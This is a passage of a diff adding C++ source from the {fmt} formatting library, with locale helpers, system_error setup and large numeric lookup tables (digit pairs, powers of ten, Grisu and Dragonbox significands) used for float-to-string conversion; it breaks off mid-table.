FMT_FUNC Char decimal_point_impl(locale_ref loc) { + return std::use_facet>(loc.get()) + .decimal_point(); +} +#else +template FMT_FUNC std::string grouping_impl(locale_ref) { + return "\03"; +} +template FMT_FUNC Char thousands_sep_impl(locale_ref) { + return FMT_STATIC_THOUSANDS_SEPARATOR; +} +template FMT_FUNC Char decimal_point_impl(locale_ref) { + return '.'; +} +#endif +} // namespace detail + +FMT_API FMT_FUNC format_error::~format_error() FMT_NOEXCEPT = default; +FMT_API FMT_FUNC system_error::~system_error() FMT_NOEXCEPT = default; + +FMT_FUNC void system_error::init(int err_code, string_view format_str, + format_args args) { + error_code_ = err_code; + memory_buffer buffer; + format_system_error(buffer, err_code, vformat(format_str, args)); + std::runtime_error& base = *this; + base = std::runtime_error(to_string(buffer)); +} + +namespace detail { + +template <> FMT_FUNC int count_digits<4>(detail::fallback_uintptr n) { + // fallback_uintptr is always stored in little endian. + int i = static_cast(sizeof(void*)) - 1; + while (i > 0 && n.value[i] == 0) --i; + auto char_digits = std::numeric_limits::digits / 4; + return i >= 0 ? i * char_digits + count_digits<4, unsigned>(n.value[i]) : 1; +} + +template +const typename basic_data::digit_pair basic_data::digits[] = { + {'0', '0'}, {'0', '1'}, {'0', '2'}, {'0', '3'}, {'0', '4'}, {'0', '5'}, + {'0', '6'}, {'0', '7'}, {'0', '8'}, {'0', '9'}, {'1', '0'}, {'1', '1'}, + {'1', '2'}, {'1', '3'}, {'1', '4'}, {'1', '5'}, {'1', '6'}, {'1', '7'}, + {'1', '8'}, {'1', '9'}, {'2', '0'}, {'2', '1'}, {'2', '2'}, {'2', '3'}, + {'2', '4'}, {'2', '5'}, {'2', '6'}, {'2', '7'}, {'2', '8'}, {'2', '9'}, + {'3', '0'}, {'3', '1'}, {'3', '2'}, {'3', '3'}, {'3', '4'}, {'3', '5'}, + {'3', '6'}, {'3', '7'}, {'3', '8'}, {'3', '9'}, {'4', '0'}, {'4', '1'}, + {'4', '2'}, {'4', '3'}, {'4', '4'}, {'4', '5'}, {'4', '6'}, {'4', '7'}, + {'4', '8'}, {'4', '9'}, {'5', '0'}, {'5', '1'}, {'5', '2'}, {'5', '3'}, + {'5', '4'}, {'5', '5'}, {'5', '6'}, {'5', '7'}, {'5', '8'}, {'5', '9'}, + {'6', '0'}, {'6', '1'}, {'6', '2'}, {'6', '3'}, {'6', '4'}, {'6', '5'}, + {'6', '6'}, {'6', '7'}, {'6', '8'}, {'6', '9'}, {'7', '0'}, {'7', '1'}, + {'7', '2'}, {'7', '3'}, {'7', '4'}, {'7', '5'}, {'7', '6'}, {'7', '7'}, + {'7', '8'}, {'7', '9'}, {'8', '0'}, {'8', '1'}, {'8', '2'}, {'8', '3'}, + {'8', '4'}, {'8', '5'}, {'8', '6'}, {'8', '7'}, {'8', '8'}, {'8', '9'}, + {'9', '0'}, {'9', '1'}, {'9', '2'}, {'9', '3'}, {'9', '4'}, {'9', '5'}, + {'9', '6'}, {'9', '7'}, {'9', '8'}, {'9', '9'}}; + +#define FMT_POWERS_OF_10(factor) \ + factor * 10, (factor)*100, (factor)*1000, (factor)*10000, (factor)*100000, \ + (factor)*1000000, (factor)*10000000, (factor)*100000000, \ + (factor)*1000000000 + +template +const uint64_t basic_data::powers_of_10_64[] = { + 1, FMT_POWERS_OF_10(1), FMT_POWERS_OF_10(1000000000ULL), + 10000000000000000000ULL}; + +template +const uint32_t basic_data::zero_or_powers_of_10_32[] = {0, + FMT_POWERS_OF_10(1)}; +template +const uint64_t basic_data::zero_or_powers_of_10_64[] = { + 0, FMT_POWERS_OF_10(1), FMT_POWERS_OF_10(1000000000ULL), + 10000000000000000000ULL}; + +template +const uint32_t basic_data::zero_or_powers_of_10_32_new[] = { + 0, 0, FMT_POWERS_OF_10(1)}; + +template +const uint64_t basic_data::zero_or_powers_of_10_64_new[] = { + 0, 0, FMT_POWERS_OF_10(1), FMT_POWERS_OF_10(1000000000ULL), + 10000000000000000000ULL}; + +// Normalized 64-bit significands of pow(10, k), for k = -348, -340, ..., 340. +// These are generated by support/compute-powers.py. +template +const uint64_t basic_data::grisu_pow10_significands[] = { + 0xfa8fd5a0081c0288, 0xbaaee17fa23ebf76, 0x8b16fb203055ac76, + 0xcf42894a5dce35ea, 0x9a6bb0aa55653b2d, 0xe61acf033d1a45df, + 0xab70fe17c79ac6ca, 0xff77b1fcbebcdc4f, 0xbe5691ef416bd60c, + 0x8dd01fad907ffc3c, 0xd3515c2831559a83, 0x9d71ac8fada6c9b5, + 0xea9c227723ee8bcb, 0xaecc49914078536d, 0x823c12795db6ce57, + 0xc21094364dfb5637, 0x9096ea6f3848984f, 0xd77485cb25823ac7, + 0xa086cfcd97bf97f4, 0xef340a98172aace5, 0xb23867fb2a35b28e, + 0x84c8d4dfd2c63f3b, 0xc5dd44271ad3cdba, 0x936b9fcebb25c996, + 0xdbac6c247d62a584, 0xa3ab66580d5fdaf6, 0xf3e2f893dec3f126, + 0xb5b5ada8aaff80b8, 0x87625f056c7c4a8b, 0xc9bcff6034c13053, + 0x964e858c91ba2655, 0xdff9772470297ebd, 0xa6dfbd9fb8e5b88f, + 0xf8a95fcf88747d94, 0xb94470938fa89bcf, 0x8a08f0f8bf0f156b, + 0xcdb02555653131b6, 0x993fe2c6d07b7fac, 0xe45c10c42a2b3b06, + 0xaa242499697392d3, 0xfd87b5f28300ca0e, 0xbce5086492111aeb, + 0x8cbccc096f5088cc, 0xd1b71758e219652c, 0x9c40000000000000, + 0xe8d4a51000000000, 0xad78ebc5ac620000, 0x813f3978f8940984, + 0xc097ce7bc90715b3, 0x8f7e32ce7bea5c70, 0xd5d238a4abe98068, + 0x9f4f2726179a2245, 0xed63a231d4c4fb27, 0xb0de65388cc8ada8, + 0x83c7088e1aab65db, 0xc45d1df942711d9a, 0x924d692ca61be758, + 0xda01ee641a708dea, 0xa26da3999aef774a, 0xf209787bb47d6b85, + 0xb454e4a179dd1877, 0x865b86925b9bc5c2, 0xc83553c5c8965d3d, + 0x952ab45cfa97a0b3, 0xde469fbd99a05fe3, 0xa59bc234db398c25, + 0xf6c69a72a3989f5c, 0xb7dcbf5354e9bece, 0x88fcf317f22241e2, + 0xcc20ce9bd35c78a5, 0x98165af37b2153df, 0xe2a0b5dc971f303a, + 0xa8d9d1535ce3b396, 0xfb9b7cd9a4a7443c, 0xbb764c4ca7a44410, + 0x8bab8eefb6409c1a, 0xd01fef10a657842c, 0x9b10a4e5e9913129, + 0xe7109bfba19c0c9d, 0xac2820d9623bf429, 0x80444b5e7aa7cf85, + 0xbf21e44003acdd2d, 0x8e679c2f5e44ff8f, 0xd433179d9c8cb841, + 0x9e19db92b4e31ba9, 0xeb96bf6ebadf77d9, 0xaf87023b9bf0ee6b, +}; + +// Binary exponents of pow(10, k), for k = -348, -340, ..., 340, corresponding +// to significands above. +template +const int16_t basic_data::grisu_pow10_exponents[] = { + -1220, -1193, -1166, -1140, -1113, -1087, -1060, -1034, -1007, -980, -954, + -927, -901, -874, -847, -821, -794, -768, -741, -715, -688, -661, + -635, -608, -582, -555, -529, -502, -475, -449, -422, -396, -369, + -343, -316, -289, -263, -236, -210, -183, -157, -130, -103, -77, + -50, -24, 3, 30, 56, 83, 109, 136, 162, 189, 216, + 242, 269, 295, 322, 348, 375, 402, 428, 455, 481, 508, + 534, 561, 588, 614, 641, 667, 694, 720, 747, 774, 800, + 827, 853, 880, 907, 933, 960, 986, 1013, 1039, 1066}; + +template +const divtest_table_entry basic_data::divtest_table_for_pow5_32[] = + {{0x00000001, 0xffffffff}, {0xcccccccd, 0x33333333}, + {0xc28f5c29, 0x0a3d70a3}, {0x26e978d5, 0x020c49ba}, + {0x3afb7e91, 0x0068db8b}, {0x0bcbe61d, 0x0014f8b5}, + {0x68c26139, 0x000431bd}, {0xae8d46a5, 0x0000d6bf}, + {0x22e90e21, 0x00002af3}, {0x3a2e9c6d, 0x00000897}, + {0x3ed61f49, 0x000001b7}}; + +template +const divtest_table_entry basic_data::divtest_table_for_pow5_64[] = + {{0x0000000000000001, 0xffffffffffffffff}, + {0xcccccccccccccccd, 0x3333333333333333}, + {0x8f5c28f5c28f5c29, 0x0a3d70a3d70a3d70}, + {0x1cac083126e978d5, 0x020c49ba5e353f7c}, + {0xd288ce703afb7e91, 0x0068db8bac710cb2}, + {0x5d4e8fb00bcbe61d, 0x0014f8b588e368f0}, + {0x790fb65668c26139, 0x000431bde82d7b63}, + {0xe5032477ae8d46a5, 0x0000d6bf94d5e57a}, + {0xc767074b22e90e21, 0x00002af31dc46118}, + {0x8e47ce423a2e9c6d, 0x0000089705f4136b}, + {0x4fa7f60d3ed61f49, 0x000001b7cdfd9d7b}, + {0x0fee64690c913975, 0x00000057f5ff85e5}, + {0x3662e0e1cf503eb1, 0x000000119799812d}, + {0xa47a2cf9f6433fbd, 0x0000000384b84d09}, + {0x54186f653140a659, 0x00000000b424dc35}, + {0x7738164770402145, 0x0000000024075f3d}, + {0xe4a4d1417cd9a041, 0x000000000734aca5}, + {0xc75429d9e5c5200d, 0x000000000170ef54}, + {0xc1773b91fac10669, 0x000000000049c977}, + {0x26b172506559ce15, 0x00000000000ec1e4}, + {0xd489e3a9addec2d1, 0x000000000002f394}, + {0x90e860bb892c8d5d, 0x000000000000971d}, + {0x502e79bf1b6f4f79, 0x0000000000001e39}, + {0xdcd618596be30fe5, 0x000000000000060b}}; + +template +const uint64_t basic_data::dragonbox_pow10_significands_64[] = { + 0x81ceb32c4b43fcf5, 0xa2425ff75e14fc32, 0xcad2f7f5359a3b3f, + 0xfd87b5f28300ca0e, 0x9e74d1b791e07e49, 0xc612062576589ddb, + 0xf79687aed3eec552, 0x9abe14cd44753b53, 0xc16d9a0095928a28, + 0xf1c90080baf72cb2, 0x971da05074da7bef, 0xbce5086492111aeb, + 0xec1e4a7db69561a6, 0x9392ee8e921d5d08, 0xb877aa3236a4b44a, + 0xe69594bec44de15c, 0x901d7cf73ab0acda, 0xb424dc35095cd810, + 0xe12e13424bb40e14, 0x8cbccc096f5088cc, 0xafebff0bcb24aaff, + 0xdbe6fecebdedd5bf, 0x89705f4136b4a598, 0xabcc77118461cefd, + 0xd6bf94d5e57a42bd, 0x8637bd05af6c69b6, 0xa7c5ac471b478424, + 0xd1b71758e219652c, 0x83126e978d4fdf3c, 0xa3d70a3d70a3d70b, + 0xcccccccccccccccd, 0x8000000000000000, 0xa000000000000000, + 0xc800000000000000, 0xfa00000000000000, 0x9c40000000000000, + 0xc350000000000000, 0xf424000000000000, 0x9896800000000000, + 0xbebc200000000000, 0xee6b280000000000, 0x9502f90000000000, + 0xba43b74000000000, 0xe8d4a51000000000, 0x9184e72a00000000, + 0xb5e620f480000000, 0xe35fa931a0000000, 0x8e1bc9bf04000000, + 0xb1a2bc2ec5000000, 0xde0b6b3a76400000, 0x8ac7230489e80000, + 0xad78ebc5ac620000, 0xd8d726b7177a8000, 0x878678326eac9000, + 0xa968163f0a57b400, 0xd3c21bcecceda100, 0x84595161401484a0, + 0xa56fa5b99019a5c8, 0xcecb8f27f4200f3a, 0x813f3978f8940984, + 0xa18f07d736b90be5, 0xc9f2c9cd04674ede, 0xfc6f7c4045812296, + 0x9dc5ada82b70b59d, 0xc5371912364ce305, 0xf684df56c3e01bc6, + 0x9a130b963a6c115c, 0xc097ce7bc90715b3, 0xf0bdc21abb48db20, + 0x96769950b50d88f4, 0xbc143fa4e250eb31, 0xeb194f8e1ae525fd, + 0x92efd1b8d0cf37be, 0xb7abc627050305ad, 0xe596b7b0c643c719, + 0x8f7e32ce7bea5c6f, 0xb35dbf821ae4f38b, 0xe0352f62a19e306e}; + +template +const uint128_wrapper basic_data::dragonbox_pow10_significands_128[] = { +#if FMT_USE_FULL_CACHE_DRAGONBOX + {0xff77b1fcbebcdc4f, 0x25e8e89c13bb0f7b}, + {0x9faacf3df73609b1, 0x77b191618c54e9ad}, + {0xc795830d75038c1d, 0xd59df5b9ef6a2418}, + {0xf97ae3d0d2446f25, 0x4b0573286b44ad1e}, + {0x9becce62836ac577, 0x4ee367f9430aec33}, + {0xc2e801fb244576d5, 0x229c41f793cda740}, + {0xf3a20279ed56d48a, 0x6b43527578c11110}, + {0x9845418c345644d6, 0x830a13896b78aaaa}, + {0xbe5691ef416bd60c, 0x23cc986bc656d554}, + {0xedec366b11c6cb8f, 0x2cbfbe86b7ec8aa9}, + {0x94b3a202eb1c3f39, 0x7bf7d71432f3d6aa}, + {0xb9e08a83a5e34f07, 0xdaf5ccd93fb0cc54}, + {0xe858ad248f5c22c9, 0xd1b3400f8f9cff69}, + {0x91376c36d99995be, 0x23100809b9c21fa2}, + {0xb58547448ffffb2d, 0xabd40a0c2832a78b}, + {0xe2e69915b3fff9f9, 0x16c90c8f323f516d}, + {0x8dd01fad907ffc3b, 0xae3da7d97f6792e4}, + {0xb1442798f49ffb4a, 0x99cd11cfdf41779d}, + {0xdd95317f31c7fa1d, 0x40405643d711d584}, + {0x8a7d3eef7f1cfc52, 0x482835ea666b2573}, + {0xad1c8eab5ee43b66, 0xda3243650005eed0}, + {0xd863b256369d4a40, 0x90bed43e40076a83}, + {0x873e4f75e2224e68, 0x5a7744a6e804a292}, + {0xa90de3535aaae202, 0x711515d0a205cb37}, + {0xd3515c2831559a83, 0x0d5a5b44ca873e04}, + {0x8412d9991ed58091, 0xe858790afe9486c3}, + {0xa5178fff668ae0b6, 0x626e974dbe39a873}, + {0xce5d73ff402d98e3, 0xfb0a3d212dc81290}, + {0x80fa687f881c7f8e, 0x7ce66634bc9d0b9a}, + {0xa139029f6a239f72, 0x1c1fffc1ebc44e81}, + {0xc987434744ac874e, 0xa327ffb266b56221}, + {0xfbe9141915d7a922, 0x4bf1ff9f0062baa9}, + {0x9d71ac8fada6c9b5, 0x6f773fc3603db4aa}, + {0xc4ce17b399107c22, 0xcb550fb4384d21d4}, + {0xf6019da07f549b2b, 0x7e2a53a146606a49}, + {0x99c102844f94e0fb, 0x2eda7444cbfc426e}, + {0xc0314325637a1939, 0xfa911155fefb5309}, + {0xf03d93eebc589f88, 0x793555ab7eba27cb}, + {0x96267c7535b763b5, 0x4bc1558b2f3458df}, + {0xbbb01b9283253ca2, 0x9eb1aaedfb016f17}, + {0xea9c227723ee8bcb, 0x465e15a979c1cadd}, + {0x92a1958a7675175f, 0x0bfacd89ec191eca}, + {0xb749faed14125d36, 0xcef980ec671f667c}, + {0xe51c79a85916f484, 0x82b7e12780e7401b}, + {0x8f31cc0937ae58d2, 0xd1b2ecb8b0908811}, + {0xb2fe3f0b8599ef07, 0x861fa7e6dcb4aa16}, + {0xdfbdcece67006ac9, 0x67a791e093e1d49b}, + {0x8bd6a141006042bd, 0xe0c8bb2c5c6d24e1}, + {0xaecc49914078536d, 0x58fae9f773886e19}, + {0xda7f5bf590966848, 0xaf39a475506a899f}, + {0x888f99797a5e012d, 0x6d8406c952429604}, + {0xaab37fd7d8f58178, 0xc8e5087ba6d33b84}, + {0xd5605fcdcf32e1d6, 0xfb1e4a9a90880a65}, + {0x855c3be0a17fcd26, 0x5cf2eea09a550680}, + {0xa6b34ad8c9dfc06f, 0xf42faa48c0ea481f}, + {0xd0601d8efc57b08b, 0xf13b94daf124da27}, + {0x823c12795db6ce57, 0x76c53d08d6b70859}, + {0xa2cb1717b52481ed, 0x54768c4b0c64ca6f}, + {0xcb7ddcdda26da268, 0xa9942f5dcf7dfd0a}, + {0xfe5d54150b090b02, 0xd3f93b35435d7c4d}, + {0x9efa548d26e5a6e1, 0xc47bc5014a1a6db0}, + {0xc6b8e9b0709f109a, 0x359ab6419ca1091c}, + {0xf867241c8cc6d4c0, 0xc30163d203c94b63}, + {0x9b407691d7fc44f8, 0x79e0de63425dcf1e}, + {0xc21094364dfb5636, 0x985915fc12f542e5}, + {0xf294b943e17a2bc4, 0x3e6f5b7b17b2939e}, + {0x979cf3ca6cec5b5a, 0xa705992ceecf9c43}, + {0xbd8430bd08277231, 0x50c6ff782a838354}, + {0xece53cec4a314ebd, 0xa4f8bf5635246429}, + {0x940f4613ae5ed136, 0x871b7795e136be9a}, + {0xb913179899f68584, 0x28e2557b59846e40}, + {0xe757dd7ec07426e5, 0x331aeada2fe589d0}, + {0x9096ea6f3848984f, 0x3ff0d2c85def7622}, + {0xb4bca50b065abe63, 0x0fed077a756b53aa}, + {0xe1ebce4dc7f16dfb, 0xd3e8495912c62895}, + {0x8d3360f09cf6e4bd, 0x64712dd7abbbd95d}, + {0xb080392cc4349dec, 0xbd8d794d96aacfb4}, + {0xdca04777f541c567, 0xecf0d7a0fc5583a1}, + {0x89e42caaf9491b60, 0xf41686c49db57245}, + {0xac5d37d5b79b6239, 0x311c2875c522ced6}, + {0xd77485cb25823ac7, 0x7d633293366b828c}, + {0x86a8d39ef77164bc, 0xae5dff9c02033198}, + {0xa8530886b54dbdeb, 0xd9f57f830283fdfd}, + {0xd267caa862a12d66, 0xd072df63c324fd7c}, + {0x8380dea93da4bc60, 0x4247cb9e59f71e6e}, + {0xa46116538d0deb78, 0x52d9be85f074e609}, + {0xcd795be870516656, 0x67902e276c921f8c}, + {0x806bd9714632dff6, 0x00ba1cd8a3db53b7}, + {0xa086cfcd97bf97f3, 0x80e8a40eccd228a5}, + {0xc8a883c0fdaf7df0, 0x6122cd128006b2ce}, + {0xfad2a4b13d1b5d6c, 0x796b805720085f82}, + {0x9cc3a6eec6311a63, 0xcbe3303674053bb1}, + {0xc3f490aa77bd60fc, 0xbedbfc4411068a9d}, + {0xf4f1b4d515acb93b, 0xee92fb5515482d45}, + {0x991711052d8bf3c5, 0x751bdd152d4d1c4b}, + {0xbf5cd54678eef0b6, 0xd262d45a78a0635e}, + {0xef340a98172aace4, 0x86fb897116c87c35}, + {0x9580869f0e7aac0e, 0xd45d35e6ae3d4da1}, + {0xbae0a846d2195712, 0x8974836059cca10a}, + {0xe998d258869facd7, 0x2bd1a438703fc94c}, + {0x91ff83775423cc06, 0x7b6306a34627ddd0}, + {0xb67f6455292cbf08, 0x1a3bc84c17b1d543}, + {0xe41f3d6a7377eeca, 0x20caba5f1d9e4a94}, + {0x8e938662882af53e, 0x547eb47b7282ee9d}, + {0xb23867fb2a35b28d, 0xe99e619a4f23aa44}, + {0xdec681f9f4c31f31, 0x6405fa00e2ec94d5}, + {0x8b3c113c38f9f37e, 0xde83bc408dd3dd05}, + {0xae0b158b4738705e, 0x9624ab50b148d446}, + {0xd98ddaee19068c76, 0x3badd624dd9b0958}, + {0x87f8a8d4cfa417c9, 0xe54ca5d70a80e5d7}, + {0xa9f6d30a038d1dbc, 0x5e9fcf4ccd211f4d}, + {0xd47487cc8470652b, 0x7647c32000696720}, + {0x84c8d4dfd2c63f3b, 0x29ecd9f40041e074}, + {0xa5fb0a17c777cf09, 0xf468107100525891}, + {0xcf79cc9db955c2cc, 0x7182148d4066eeb5}, + {0x81ac1fe293d599bf, 0xc6f14cd848405531}, + {0xa21727db38cb002f, 0xb8ada00e5a506a7d}, + {0xca9cf1d206fdc03b, 0xa6d90811f0e4851d}, + {0xfd442e4688bd304a, 0x908f4a166d1da664}, + {0x9e4a9cec15763e2e, 0x9a598e4e043287ff}, + {0xc5dd44271ad3cdba, 0x40eff1e1853f29fe}, + {0xf7549530e188c128, 0xd12bee59e68ef47d}, + {0x9a94dd3e8cf578b9, 0x82bb74f8301958cf}, + {0xc13a148e3032d6e7, 0xe36a52363c1faf02}, + {0xf18899b1bc3f8ca1, 0xdc44e6c3cb279ac2}, + {0x96f5600f15a7b7e5, 0x29ab103a5ef8c0ba}, + {0xbcb2b812db11a5de, 0x7415d448f6b6f0e8}, + {0xebdf661791d60f56, 0x111b495b3464ad22}, + {0x936b9fcebb25c995, 0xcab10dd900beec35}, + {0xb84687c269ef3bfb, 0x3d5d514f40eea743}, + {0xe65829b3046b0afa, 0x0cb4a5a3112a5113}, + {0x8ff71a0fe2c2e6dc, 0x47f0e785eaba72ac}, + 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{0xf316271c7fc3908a, 0x8bef464e3945ef7a}, + {0x97edd871cfda3a56, 0x97758bf0e3cbb5ac}, + {0xbde94e8e43d0c8ec, 0x3d52eeed1cbea317}, + {0xed63a231d4c4fb27, 0x4ca7aaa863ee4bdd}, + {0x945e455f24fb1cf8, 0x8fe8caa93e74ef6a}, + {0xb975d6b6ee39e436, 0xb3e2fd538e122b44}, + {0xe7d34c64a9c85d44, 0x60dbbca87196b616}, + {0x90e40fbeea1d3a4a, 0xbc8955e946fe31cd}, + {0xb51d13aea4a488dd, 0x6babab6398bdbe41}, + {0xe264589a4dcdab14, 0xc696963c7eed2dd1}, + {0x8d7eb76070a08aec, 0xfc1e1de5cf543ca2}, + {0xb0de65388cc8ada8, 0x3b25a55f43294bcb}, + {0xdd15fe86affad912, 0x49ef0eb713f39ebe}, + {0x8a2dbf142dfcc7ab, 0x6e3569326c784337}, + {0xacb92ed9397bf996, 0x49c2c37f07965404}, + {0xd7e77a8f87daf7fb, 0xdc33745ec97be906}, + {0x86f0ac99b4e8dafd, 0x69a028bb3ded71a3}, + {0xa8acd7c0222311bc, 0xc40832ea0d68ce0c}, + {0xd2d80db02aabd62b, 0xf50a3fa490c30190}, + {0x83c7088e1aab65db, 0x792667c6da79e0fa}, + {0xa4b8cab1a1563f52, 0x577001b891185938}, + {0xcde6fd5e09abcf26, 0xed4c0226b55e6f86}, + {0x80b05e5ac60b6178, 0x544f8158315b05b4}, + {0xa0dc75f1778e39d6, 0x696361ae3db1c721}, + {0xc913936dd571c84c, 0x03bc3a19cd1e38e9}, + {0xfb5878494ace3a5f, 0x04ab48a04065c723}, + {0x9d174b2dcec0e47b, 0x62eb0d64283f9c76}, + {0xc45d1df942711d9a, 0x3ba5d0bd324f8394}, + {0xf5746577930d6500, 0xca8f44ec7ee36479}, + {0x9968bf6abbe85f20, 0x7e998b13cf4e1ecb}, + {0xbfc2ef456ae276e8, 0x9e3fedd8c321a67e}, + {0xefb3ab16c59b14a2, 0xc5cfe94ef3ea101e}, + {0x95d04aee3b80ece5, 0xbba1f1d158724a12}, + {0xbb445da9ca61281f, 0x2a8a6e45ae8edc97}, + {0xea1575143cf97226, 0xf52d09d71a3293bd}, + {0x924d692ca61be758, 0x593c2626705f9c56}, + {0xb6e0c377cfa2e12e, 0x6f8b2fb00c77836c}, + {0xe498f455c38b997a, 0x0b6dfb9c0f956447}, + {0x8edf98b59a373fec, 0x4724bd4189bd5eac}, + {0xb2977ee300c50fe7, 0x58edec91ec2cb657}, + {0xdf3d5e9bc0f653e1, 0x2f2967b66737e3ed}, + {0x8b865b215899f46c, 0xbd79e0d20082ee74}, + {0xae67f1e9aec07187, 0xecd8590680a3aa11}, + {0xda01ee641a708de9, 0xe80e6f4820cc9495}, + {0x884134fe908658b2, 0x3109058d147fdcdd}, + {0xaa51823e34a7eede, 0xbd4b46f0599fd415}, + {0xd4e5e2cdc1d1ea96, 0x6c9e18ac7007c91a}, + {0x850fadc09923329e, 0x03e2cf6bc604ddb0}, + {0xa6539930bf6bff45, 0x84db8346b786151c}, + {0xcfe87f7cef46ff16, 0xe612641865679a63}, + {0x81f14fae158c5f6e, 0x4fcb7e8f3f60c07e}, + {0xa26da3999aef7749, 0xe3be5e330f38f09d}, + {0xcb090c8001ab551c, 0x5cadf5bfd3072cc5}, + {0xfdcb4fa002162a63, 0x73d9732fc7c8f7f6}, + {0x9e9f11c4014dda7e, 0x2867e7fddcdd9afa}, + {0xc646d63501a1511d, 0xb281e1fd541501b8}, + {0xf7d88bc24209a565, 0x1f225a7ca91a4226}, + {0x9ae757596946075f, 0x3375788de9b06958}, + {0xc1a12d2fc3978937, 0x0052d6b1641c83ae}, + {0xf209787bb47d6b84, 0xc0678c5dbd23a49a}, + {0x9745eb4d50ce6332, 0xf840b7ba963646e0}, + {0xbd176620a501fbff, 0xb650e5a93bc3d898}, + {0xec5d3fa8ce427aff, 0xa3e51f138ab4cebe}, + {0x93ba47c980e98cdf, 0xc66f336c36b10137}, + {0xb8a8d9bbe123f017, 0xb80b0047445d4184}, + {0xe6d3102ad96cec1d, 0xa60dc059157491e5}, + {0x9043ea1ac7e41392, 0x87c89837ad68db2f}, + {0xb454e4a179dd1877, 0x29babe4598c311fb}, + {0xe16a1dc9d8545e94, 0xf4296dd6fef3d67a}, + {0x8ce2529e2734bb1d, 0x1899e4a65f58660c}, + {0xb01ae745b101e9e4, 0x5ec05dcff72e7f8f}, + {0xdc21a1171d42645d, 0x76707543f4fa1f73}, + {0x899504ae72497eba, 0x6a06494a791c53a8}, + {0xabfa45da0edbde69, 0x0487db9d17636892}, + {0xd6f8d7509292d603, 0x45a9d2845d3c42b6}, + {0x865b86925b9bc5c2, 0x0b8a2392ba45a9b2}, + {0xa7f26836f282b732, 0x8e6cac7768d7141e}, + {0xd1ef0244af2364ff, 0x3207d795430cd926}, + {0x8335616aed761f1f, 0x7f44e6bd49e807b8}, + {0xa402b9c5a8d3a6e7, 0x5f16206c9c6209a6}, + {0xcd036837130890a1, 0x36dba887c37a8c0f}, + {0x802221226be55a64, 0xc2494954da2c9789}, + {0xa02aa96b06deb0fd, 0xf2db9baa10b7bd6c}, + {0xc83553c5c8965d3d, 0x6f92829494e5acc7}, + {0xfa42a8b73abbf48c, 0xcb772339ba1f17f9}, + {0x9c69a97284b578d7, 0xff2a760414536efb}, + {0xc38413cf25e2d70d, 0xfef5138519684aba}, + {0xf46518c2ef5b8cd1, 0x7eb258665fc25d69}, + {0x98bf2f79d5993802, 0xef2f773ffbd97a61}, + {0xbeeefb584aff8603, 0xaafb550ffacfd8fa}, + {0xeeaaba2e5dbf6784, 0x95ba2a53f983cf38}, + {0x952ab45cfa97a0b2, 0xdd945a747bf26183}, + {0xba756174393d88df, 0x94f971119aeef9e4}, + {0xe912b9d1478ceb17, 0x7a37cd5601aab85d}, + {0x91abb422ccb812ee, 0xac62e055c10ab33a}, + {0xb616a12b7fe617aa, 0x577b986b314d6009}, + {0xe39c49765fdf9d94, 0xed5a7e85fda0b80b}, + {0x8e41ade9fbebc27d, 0x14588f13be847307}, + {0xb1d219647ae6b31c, 0x596eb2d8ae258fc8}, + {0xde469fbd99a05fe3, 0x6fca5f8ed9aef3bb}, + {0x8aec23d680043bee, 0x25de7bb9480d5854}, + {0xada72ccc20054ae9, 0xaf561aa79a10ae6a}, + {0xd910f7ff28069da4, 0x1b2ba1518094da04}, + {0x87aa9aff79042286, 0x90fb44d2f05d0842}, + {0xa99541bf57452b28, 0x353a1607ac744a53}, + {0xd3fa922f2d1675f2, 0x42889b8997915ce8}, + {0x847c9b5d7c2e09b7, 0x69956135febada11}, + {0xa59bc234db398c25, 0x43fab9837e699095}, + {0xcf02b2c21207ef2e, 0x94f967e45e03f4bb}, + {0x8161afb94b44f57d, 0x1d1be0eebac278f5}, + {0xa1ba1ba79e1632dc, 0x6462d92a69731732}, + {0xca28a291859bbf93, 0x7d7b8f7503cfdcfe}, + {0xfcb2cb35e702af78, 0x5cda735244c3d43e}, + {0x9defbf01b061adab, 0x3a0888136afa64a7}, + {0xc56baec21c7a1916, 0x088aaa1845b8fdd0}, + {0xf6c69a72a3989f5b, 0x8aad549e57273d45}, + {0x9a3c2087a63f6399, 0x36ac54e2f678864b}, + {0xc0cb28a98fcf3c7f, 0x84576a1bb416a7dd}, + {0xf0fdf2d3f3c30b9f, 0x656d44a2a11c51d5}, + {0x969eb7c47859e743, 0x9f644ae5a4b1b325}, + {0xbc4665b596706114, 0x873d5d9f0dde1fee}, + {0xeb57ff22fc0c7959, 0xa90cb506d155a7ea}, + {0x9316ff75dd87cbd8, 0x09a7f12442d588f2}, + {0xb7dcbf5354e9bece, 0x0c11ed6d538aeb2f}, + {0xe5d3ef282a242e81, 0x8f1668c8a86da5fa}, + {0x8fa475791a569d10, 0xf96e017d694487bc}, + {0xb38d92d760ec4455, 0x37c981dcc395a9ac}, + {0xe070f78d3927556a, 0x85bbe253f47b1417}, + {0x8c469ab843b89562, 0x93956d7478ccec8e}, + {0xaf58416654a6babb, 0x387ac8d1970027b2}, + {0xdb2e51bfe9d0696a, 0x06997b05fcc0319e}, + {0x88fcf317f22241e2, 0x441fece3bdf81f03}, + {0xab3c2fddeeaad25a, 0xd527e81cad7626c3}, + {0xd60b3bd56a5586f1, 0x8a71e223d8d3b074}, + {0x85c7056562757456, 0xf6872d5667844e49}, + {0xa738c6bebb12d16c, 0xb428f8ac016561db}, + {0xd106f86e69d785c7, 0xe13336d701beba52}, + {0x82a45b450226b39c, 0xecc0024661173473}, + {0xa34d721642b06084, 0x27f002d7f95d0190}, + {0xcc20ce9bd35c78a5, 0x31ec038df7b441f4}, + {0xff290242c83396ce, 0x7e67047175a15271}, + {0x9f79a169bd203e41, 0x0f0062c6e984d386}, + {0xc75809c42c684dd1, 0x52c07b78a3e60868}, + {0xf92e0c3537826145, 0xa7709a56ccdf8a82}, + {0x9bbcc7a142b17ccb, 0x88a66076400bb691}, + {0xc2abf989935ddbfe, 0x6acff893d00ea435}, + {0xf356f7ebf83552fe, 0x0583f6b8c4124d43}, + {0x98165af37b2153de, 0xc3727a337a8b704a}, + {0xbe1bf1b059e9a8d6, 0x744f18c0592e4c5c}, + {0xeda2ee1c7064130c, 0x1162def06f79df73}, + {0x9485d4d1c63e8be7, 0x8addcb5645ac2ba8}, + {0xb9a74a0637ce2ee1, 0x6d953e2bd7173692}, + {0xe8111c87c5c1ba99, 0xc8fa8db6ccdd0437}, + {0x910ab1d4db9914a0, 0x1d9c9892400a22a2}, + {0xb54d5e4a127f59c8, 0x2503beb6d00cab4b}, + {0xe2a0b5dc971f303a, 0x2e44ae64840fd61d}, + {0x8da471a9de737e24, 0x5ceaecfed289e5d2}, + {0xb10d8e1456105dad, 0x7425a83e872c5f47}, + {0xdd50f1996b947518, 0xd12f124e28f77719}, + 